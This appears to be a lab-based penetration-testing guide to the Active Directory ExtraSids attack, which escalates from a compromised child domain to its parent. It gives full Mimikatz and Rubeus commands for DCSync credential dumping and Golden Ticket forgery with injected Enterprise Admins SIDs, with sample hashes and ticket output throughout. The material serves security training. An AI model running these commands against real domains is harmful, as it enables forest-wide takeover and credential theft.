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On this page
  • SID History Primer
  • ExtraSids Attack - Mimikatz
  • ExtraSids Attack - Rubeus
  1. Active Directory
  2. Domain Trusts

Attacking Domain Trusts - Child -> Parent Trusts - from Windows

PreviousDomain TrustsNextAttacking Domain Trusts - Child -> Parent Trusts - from Linux

Last updated 1 month ago

SID History Primer

The attribute is used in migration scenarios. If a user in one domain is migrated to another domain, a new account is created in the second domain. The original user's SID will be added to the new user's SID history attribute, ensuring that the user can still access resources in the original domain.

SID history is intended to work across domains, but can work in the same domain. Using Mimikatz, an attacker can perform SID history injection and add an administrator account to the SID History attribute of an account they control. When logging in with this account, all of the SIDs associated with the account are added to the user's token.

This token is used to determine what resources the account can access. If the SID of a Domain Admin account is added to the SID History attribute of this account, then this account will be able to perform DCSync and create a or a Kerberos ticket-granting ticket (TGT), which will allow for us to authenticate as any account in the domain of our choosing for further persistence.

ExtraSids Attack - Mimikatz

This attack allows for the compromise of a parent domain once the child domain has been compromised. Within the same AD forest, the property is respected due to a lack of protection. SID Filtering is a protection put in place to filter out authentication requests from a domain in another forest across a trust. Therefore, if a user in a child domain that has their sidHistory set to the Enterprise Admins group (which only exists in the parent domain), they are treated as a member of this group, which allows for administrative access to the entire forest. In other words, we are creating a Golden Ticket from the compromised child domain to compromise the parent domain. In this case, we will leverage the SIDHistory to grant an account (or non-existent account) Enterprise Admin rights by modifying this attribute to contain the SID for the Enterprise Admins group, which will give us full access to the parent domain without actually being part of the group.

To perform this attack after compromising a child domain, we need the following:

  • The KRBTGT hash for the child domain

  • The SID for the child domain

  • The name of a target user in the child domain (does not need to exist!)

  • The FQDN of the child domain.

  • The SID of the Enterprise Admins group of the root domain.

  • With this data collected, the attack can be performed with Mimikatz.

Now we can gather each piece of data required to perform the ExtraSids attack. First, we need to obtain the NT hash for the account, which is a service account for the Key Distribution Center (KDC) in Active Directory. The account KRB (Kerberos) TGT (Ticket Granting Ticket) is used to encrypt/sign all Kerberos tickets granted within a given domain. Domain controllers use the account's password to decrypt and validate Kerberos tickets. The KRBTGT account can be used to create Kerberos TGT tickets that can be used to request TGS tickets for any service on any host in the domain. This is also known as the Golden Ticket attack and is a well-known persistence mechanism for attackers in Active Directory environments. The only way to invalidate a Golden Ticket is to change the password of the KRBTGT account, which should be done periodically and definitely after a penetration test assessment where full domain compromise is reached.

Since we have compromised the child domain, we can log in as a Domain Admin or similar and perform the DCSync attack to obtain the NT hash for the KRBTGT account.

Obtaining the KRBTGT Account's NT Hash using Mimikatz

PS C:\tools\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID   : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9d765b482771505cbe97411065964d5f
    ntlm- 0: 9d765b482771505cbe97411065964d5f
    lm  - 0: 69df324191d4a80f0ed100c10f20561e

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 8c6b7919c01a5c654c91922f9a13225c

* Primary:Kerberos-Newer-Keys *
    Default Salt : LOGISTICS.INLANEFREIGHT.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
      aes128_hmac       (4096) : ca289e175c372cebd18083983f88c03e
      des_cbc_md5       (4096) : fee04c3d026d7538

* Primary:Kerberos *
    Default Salt : LOGISTICS.INLANEFREIGHT.LOCALkrbtgt
    Credentials
      des_cbc_md5       : fee04c3d026d7538

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  71fc2147dcf21fed982e180c3ebc48b8
    02  e193e66c97fb2ff16f352c25c06a5009
    03  9b4087c331fcd37671b407cb4f0e44a2
    04  71fc2147dcf21fed982e180c3ebc48b8
    05  e193e66c97fb2ff16f352c25c06a5009
    06  0da90377100224d5635e529d358f1409
    07  71fc2147dcf21fed982e180c3ebc48b8
    08  1763ae4e99694dcf66700106bb303aa5
    09  024c0c0c71f6e1f89a8c3be922534f0d
    10  3523e29569b4a45d20d99b7937f40326
    11  1763ae4e99694dcf66700106bb303aa5
    12  024c0c0c71f6e1f89a8c3be922534f0d
    13  5f47d51dee42d3f9a52a2d464c291fe5
    14  1763ae4e99694dcf66700106bb303aa5
    15  b7196b13a4fc2a29c18de543912039c2
    16  64689c7d74d2f2908330c62e47b34d75
    17  023f316da4715dd596d4ae6d5b9049cc
    18  fec7644b22077323cc9770c91d205269
    19  5cacbc938eaeb1b3a58572dafed92d97
    20  684ef5f716d49e4274a4ceb48d5fd6ba
    21  99968ef6b4c440cbd652ce6718a9ba39
    22  99968ef6b4c440cbd652ce6718a9ba39
    23  fbd2d7aef9329e981cd1bfdef2924843
    24  38653e1cf10018a3ae60fdb681241f1b
    25  5efd3ccfb3589c3bd6d76738ceeffb92
    26  dcd5dfeec024fe725edcaab5953d2011
    27  d92dcf29cd473a6ebae4b3bca1e578a9
    28  ff0382afc6adb89c00d5bf90cd5f4eca
    29  d7d958214c25d0835547320a0f0faf49

We can use the PowerView Get-DomainSID function to get the SID for the child domain, but this is also visible in the Mimikatz output above.

Using Get-DomainSID

Import-Module .\PowerView.ps1
Get-DomainSID

S-1-5-21-2806153819-209893948-922872689

Obtaining Enterprise Admins Group's SID using Get-DomainGroup

PS C:\htb> Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

distinguishedname                                       objectsid                                    
-----------------                                       ---------                                    
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519

At this point, we have gathered the following data points:

  • The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f

  • The SID for the child domain: S-1-5-21-2806153819-209893948-922872689

  • The name of a target user in the child domain (does not need to exist to create our Golden Ticket!): We'll choose a fake user: hacker

  • The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL

  • The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519

Before the attack, we can confirm no access to the file system of the DC in the parent domain.

Using ls to Confirm No Access

PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

Using Mimikatz and the data listed above, we can create a Golden Ticket to access all resources within the parent domain.

Creating a Golden Ticket with Mimikatz

PS C:\htb> mimikatz.exe

mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
User      : hacker
Domain    : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID       : S-1-5-21-2806153819-209893948-922872689
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime  : 3/28/2022 7:59:50 PM ; 3/25/2032 7:59:50 PM ; 3/25/2032 7:59:50 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully submitted for current session

We can confirm that the Kerberos ticket for the non-existent hacker user is residing in memory.

Confirming a Kerberos Ticket is in Memory Using klist

PS C:\htb> klist

Current LogonId is 0:0xf6462

Cached Tickets: (1)

#0>     Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
        Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/28/2022 19:59:50 (local)
        End Time:   3/25/2032 19:59:50 (local)
        Renew Time: 3/25/2032 19:59:50 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

From here, it is possible to access any resources within the parent domain, and we could compromise the parent domain in several ways.

Listing the Entire C: Drive of the Domain Controller

PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$
 Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
 Volume Serial Number is B8B3-0D72

 Directory of \\academy-ea-dc01.inlanefreight.local\c$

09/15/2018  12:19 AM    <DIR>          PerfLogs
10/06/2021  01:50 PM    <DIR>          Program Files
09/15/2018  02:06 AM    <DIR>          Program Files (x86)
11/19/2021  12:17 PM    <DIR>          Shares
10/06/2021  10:31 AM    <DIR>          Users
03/21/2022  12:18 PM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  18,080,178,176 bytes free

ExtraSids Attack - Rubeus

We can also perform this attack using Rubeus. First, again, we'll confirm that we cannot access the parent domain Domain Controller's file system.

Using ls to Confirm No Access Before Running Rubeus

PS C:\htb> ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1
+ ls \\academy-ea-dc01.inlanefreight.local\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\academy-ea-dc01.inlanefreight.local\c$:String) [Get-ChildItem], UnauthorizedAcces 
   sException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
	
<SNIP>

Next, we will formulate our Rubeus command using the data we retrieved above. The /rc4 flag is the NT hash for the KRBTGT account. The /sids flag will tell Rubeus to create our Golden Ticket giving us the same rights as members of the Enterprise Admins group in the parent domain.

Creating a Golden Ticket using Rubeus

PS C:\htb>  .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2 

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
[*] SID            : S-1-5-21-2806153819-209893948-922872689
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ExtraSIDs      : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey     : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : LOGISTICS.INLANEFREIGHT.LOCAL

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 3/29/2022 10:06:41 AM
[*] StartTime      : 3/29/2022 10:06:41 AM
[*] EndTime        : 3/29/2022 8:06:41 PM
[*] RenewTill      : 4/5/2022 10:06:41 AM

[*] base64(ticket.kirbi):
      doIF0zCCBc+gAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoR8bHUxPR0lTVElDUy5JTkxBTkVG
      UkVJR0hULkxPQ0FMojIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5M
      T0NBTKOCBDIwggQuoAMCARehAwIBA6KCBCAEggQc0u5onpWKAP0Hw0KJuEOAFp8OgfBXlkwH3sXu5BhH
      T3zO/Ykw2Hkq2wsoODrBj0VfvxDNNpvysToaQdjHIqIqVQ9kXfNHM7bsQezS7L1KSx++2iX94uRrwa/S
      VfgHhAuxKPlIi2phwjkxYETluKl26AUo2+WwxDXmXwGJ6LLWN1W4YGScgXAX+Kgs9xrAqJMabsAQqDfy
      k7+0EH9SbmdQYqvAPrBqYEnt0mIPM9cakei5ZS1qfUDWjUN4mxsqINm7qNQcZHWN8kFSfAbqyD/OZIMc
      g78hZ8IYL+Y4LPEpiQzM8JsXqUdQtiJXM3Eig6RulSxCo9rc5YUWTaHx/i3PfWqP+dNREtldE2sgIUQm
      9f3cO1aOCt517Mmo7lICBFXUTQJvfGFtYdc01fWLoN45AtdpJro81GwihIFMcp/vmPBlqQGxAtRKzgzY
      acuk8YYogiP6815+x4vSZEL2JOJyLXSW0OPhguYSqAIEQshOkBm2p2jahQWYvCPPDd/EFM7S3NdMnJOz
      X3P7ObzVTAPQ/o9lSaXlopQH6L46z6PTcC/4GwaRbqVnm1RU0O3VpVr5bgaR+Nas5VYGBYIHOw3Qx5YT
      3dtLvCxNa3cEgllr9N0BjCl1iQGWyFo72JYI9JLV0VAjnyRxFqHztiSctDExnwqWiyDaGET31PRdEz+H
      WlAi4Y56GaDPrSZFS1RHofKqehMQD6gNrIxWPHdS9aiMAnhQth8GKbLqimcVrCUG+eghE+CN999gHNMG
      Be1Vnz8Oc3DIM9FNLFVZiqJrAvsq2paakZnjf5HXOZ6EdqWkwiWpbGXv4qyuZ8jnUyHxavOOPDAHdVeo
      /RIfLx12GlLzN5y7132Rj4iZlkVgAyB6+PIpjuDLDSq6UJnHRkYlJ/3l5j0KxgjdZbwoFbC7p76IPC3B
      aY97mXatvMfrrc/Aw5JaIFSaOYQ8M/frCG738e90IK/2eTFZD9/kKXDgmwMowBEmT3IWj9lgOixNcNV/
      OPbuqR9QiT4psvzLGmd0jxu4JSm8Usw5iBiIuW/pwcHKFgL1hCBEtUkaWH24fuJuAIdei0r9DolImqC3
      sERVQ5VSc7u4oaAIyv7Acq+UrPMwnrkDrB6C7WBXiuoBAzPQULPTWih6LyAwenrpd0sOEOiPvh8NlvIH
      eOhKwWOY6GVpVWEShRLDl9/XLxdnRfnNZgn2SvHOAJfYbRgRHMWAfzA+2+xps6WS/NNf1vZtUV/KRLlW
      sL5v91jmzGiZQcENkLeozZ7kIsY/zadFqVnrnQqsd97qcLYktZ4yOYpxH43JYS2e+cXZ+NXLKxex37HQ
      F5aNP7EITdjQds0lbyb9K/iUY27iyw7dRVLz3y5Dic4S4+cvJBSz6Y1zJHpLkDfYVQbBUCfUps8ImJij
      Hf+jggEhMIIBHaADAgEAooIBFASCARB9ggEMMIIBCKCCAQQwggEAMIH9oBswGaADAgEXoRIEEBrCyB2T
      JTKolmppTTXOXQShHxsdTE9HSVNUSUNTLklOTEFORUZSRUlHSFQuTE9DQUyiEzARoAMCAQGhCjAIGwZo
      YWNrZXKjBwMFAEDgAACkERgPMjAyMjAzMjkxNzA2NDFapREYDzIwMjIwMzI5MTcwNjQxWqYRGA8yMDIy
      MDMzMDAzMDY0MVqnERgPMjAyMjA0MDUxNzA2NDFaqB8bHUxPR0lTVElDUy5JTkxBTkVGUkVJR0hULkxP
      Q0FMqTIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5MT0NBTA==

[+] Ticket successfully imported!

Once again, we can check that the ticket is in memory using the klist command.

Confirming the Ticket is in Memory Using klist

PS C:\htb> klist

Current LogonId is 0:0xf6495

Cached Tickets: (1)

#0>	Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
	Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
	Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent 
	Start Time: 3/29/2022 10:06:41 (local)
	End Time:   3/29/2022 20:06:41 (local)
	Renew Time: 4/5/2022 10:06:41 (local)
	Session Key Type: RSADSI RC4-HMAC(NT)
	Cache Flags: 0x1 -> PRIMARY 
	Kdc Called:

Finally, we can test this access by performing a DCSync attack against the parent domain, targeting the lab_adm Domain Admin user.

Performing a DCSync Attack

PS C:\Tools\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

When dealing with multiple domains and our target domain is not the same as the user's domain, we will need to specify the exact domain to perform the DCSync operation on the particular domain controller. The command for this would look like the following:

Attacking Domain Trusts - Child -> Parent Trusts - from Windows

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

Next, we can use Get-DomainGroup from PowerView to obtain the SID for the Enterprise Admins group in the parent domain. We could also do this with the cmdlet with a command such as Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL".

sidHistory
Golden Ticket
sidHistory
SID Filtering
KRBTGT
Get-ADGroup